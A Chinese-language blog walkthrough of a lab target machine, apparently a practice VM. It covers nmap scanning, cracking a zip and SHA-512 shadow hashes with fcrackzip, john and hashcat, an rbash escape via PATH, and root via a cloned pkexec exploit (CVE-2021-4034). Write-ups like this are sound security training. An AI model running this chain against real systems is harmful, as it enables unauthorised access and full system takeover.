提示:本文记录了博主的一次打靶过程
目录
- 1. 主机发现
- 2. 端口扫描
- 3. 服务枚举
- 4. 服务探查
- 4.1 浏览器探查
- 5. 突破边界
- 6. 提权
- 6.1 rbash绕过
- 6.2 枚举系统信息
- 6.3 枚举定时任务
- 6.4 枚举可执行文件
- 7. 获取flag
1. 主机发现
目前只知道目标靶机在65.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.65.0/24
锁定目标靶机地址为192.168.65.138。
2. 端口扫描
使用下面的命令,对目标靶机进行全端口扫描。
$ sudo nmap -p- 192.168.65.138
只开了22端口和80端口。
3. 服务枚举
接下来,使用下面的命令枚举一下开放的端口上运行了什么服务。
$ sudo nmap -p22,80 -A -sV -sT 192.168.65.138
apache的2.4.38版本。
4. 服务探查
4.1 浏览器探查
先用浏览器访问一下看看。
是个非常简单的网页,首先下载这个文件下来看看里面有些啥,然后枚举一下目录。
呵,这个文件比较有意思,里面有shadow,不过加密了,暂时不知道密码。先枚举一下站点的目录。
$ dirsearch -u http://192.168.65.138
枚举出来的都是403,看来还是得从zip文件下手了,通过fcrackzip爆破一下。
$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt save.zip
秒爆啊,密码是manuel,手工解压试试看。
解压成功,进去逐个看看里面的内容,最有意思的是root用户和一个名为296640a3b825115a47b68fc44501c828的用户,都具有shell权限,并且都在shadow里面保存了密码信息,如下图。
按照之前的经验,密码都是用的SHA-512,爆破的难度可想而知,还是试一下吧,先用john。
$ john --wordlist=/usr/share/wordlists/rockyou.txt shadow
爆了半天没结果,果断终止。再试试hashcat。先把两个hash内容放到myshadow文件中。
$ hashcat -m 1800 -o found1.txt --remove myshadow /usr/share/john/password.lst
很快就结束了,但是也看不出所以然。还是看看shadow文件和found1.txt文件吧,如果爆破成功的话,hash会从shadow中删除,found1.txt中会记录爆破出来的密码。
确实爆出了一个密码,对比前面写入myshadow文件的内容,我们可以知道爆出的是296640a3b825115a47b68fc44501c828用户的密码server。猛然意识到,其实前面我们用john的时候也爆破出来了,因为靶机的hostname也是296640a3b825115a47b68fc44501c828,还以为显示的内容代表的server名称是296640a3b825115a47b68fc44501c828呢(如下图)。
5. 突破边界
直接用爆出的密码登录一下看看吧。
$ ssh 296640a3b825115a47b68fc44501c828@192.168.65.138
成功突破边界。
6. 提权
进一步试一下。
嗯,这是一个rbash,即一个受限制的shell,得想办法突破一下。
6.1 rbash绕过
这里重点参照了CSDN上面的一篇文章(https://blog.csdn.net/weixin_43705814/article/details/111879362
)。尝试了各种方法,最终通过下面的方式成功进行绕过。
$ export PATH=/usr/bin:/usr/sbin:/sbin:/bin
确实成功地绕过了rbash的限制。
6.2 枚举系统信息
从输出内容可以看出,目标靶机是64位的debian 10,内核版本为4.19.118-2。
6.3 枚举定时任务
没有可以利用的定时任务。
6.4 枚举可执行文件
先用sudo -l看一下。
没有我们感兴趣的输出,还是枚举一下SUID的可执行文件吧。
$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v "/sys/" | grep -v "/proc/"
输出结果竟然为空,再用下面的方法试试看。
$ find / -user root -perm -4000 -print 2>/dev/null
又出现了我们熟悉的pkexec,试一下吧,按照惯例,先看版本信息。
$ dpkg -l policykit-1
直接下载EXP运行一下再说。
$ git clone https://github.com/Almorabea/pkexec-exploit.git
将pkexec-exploit文件夹下面的CVE-2021-4034.py文件上传到靶机。然后在靶机上直接运行一下。
$ chmod 775 CVE-2021-4034.py
$ python3 CVE-2021-4034.py
成功搞定,进一步验证一下。
确实提权成功。